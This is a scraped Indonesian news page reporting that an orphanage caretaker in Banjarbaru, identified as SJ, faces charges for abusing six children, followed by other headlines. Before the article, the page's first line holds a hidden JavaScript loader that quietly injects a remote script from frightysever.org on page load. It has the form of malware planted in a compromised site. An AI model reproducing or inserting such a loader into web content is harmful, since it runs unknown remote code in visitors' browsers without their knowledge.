(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Tersangka SJ, penganiaya anak asuh di panti asuhan Griya Yatim Dhuafa, Kelurahan Mentaos, Banjarbaru, terancam hukuman penjara 3 tahun 6 bulan. SJ saat ini masih ditahan di Mapolres Banjarbaru menunggu proses persidangan.
SJ diduga menjadi pelaku penganiayaan terhadap 6 anak asuh berdasarkan hasil visum dan pengakuannya.
Kaur Bin Ops Sat Reskrim Polres Banjarbaru, Iptu Subroto Rindang Arie Setyawan mengatakan, saat ini pihak kepolisian baru menetapkan satu orang tersangka berinisial SJ, dan akan terus melakukan pengembangan penyidikan terhadap kasus ini.
“Terkait nanti siapa saja yang dijadikan tersangka, itu masih proses pendalaman,” ujarnya.
Baca juga: Rumah Yatim Disurati, Dinsos Banjarbaru Tertibkan Izin Yayasan Pengelola
Ketika disinggung terkait aliran dana dari donatur, disebut Iptu Subroto, pihaknya masih fokus pada kasus pertama. Terkait tersangka baru tergantung hasil penyidikan saat personelnya melakukan lidik terhadap kasus ini.
“Kami masih fokus korban anak (Penganiayaan, red), yang lain masih proses pendalaman,” bebernya.
Lebih lanjut, Iptu Subroto menuturkan berdasarkan hasil visum yang diperoleh, ada luk atau bekas luka yang diterima anak-anak asuh di panti asuhan Griya Yatim Dhuafa.
Adapun motif tersangka SJ, kata Iptu Subroto, melakukan kekerasan terhadap anak asuhnya karena para anak asuhnya melakukan kesalahan. Sehingga dikenakan hukuman oleh SJ kepada anak asuhnya.
Baca juga: Rumah Yatim di Mentaos Banjarbaru Berhenti Total, Pengelola Meringkuk di Penjara
“Jadi sifat hukuman itulah yang mengarahkan kepada perlukaan itu,” ungkapnya.
Masih menurut Iptu Subroto, sifat hukuman yang menghasilkan luka itu tidak normal dari yang diterima para korban.
“Kalau melihat dari tubuh para korbannya, perlukaannya ada yang baru dan lama, sehingga ini tidak wajar,” tuturnya.
Tersangka SJ bakal dikenakan Pasal 80 ayat 1 Undang-Undang 35 tahun 2014, perubahan kedua atas Undang-Undang 23 tahun 2002 tentang Perlindungan Anak dan saat ini ditahan di Rutan Polres Banjarbaru guna proses pengembangan kasus. (Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More
KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More
KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More
This website uses cookies.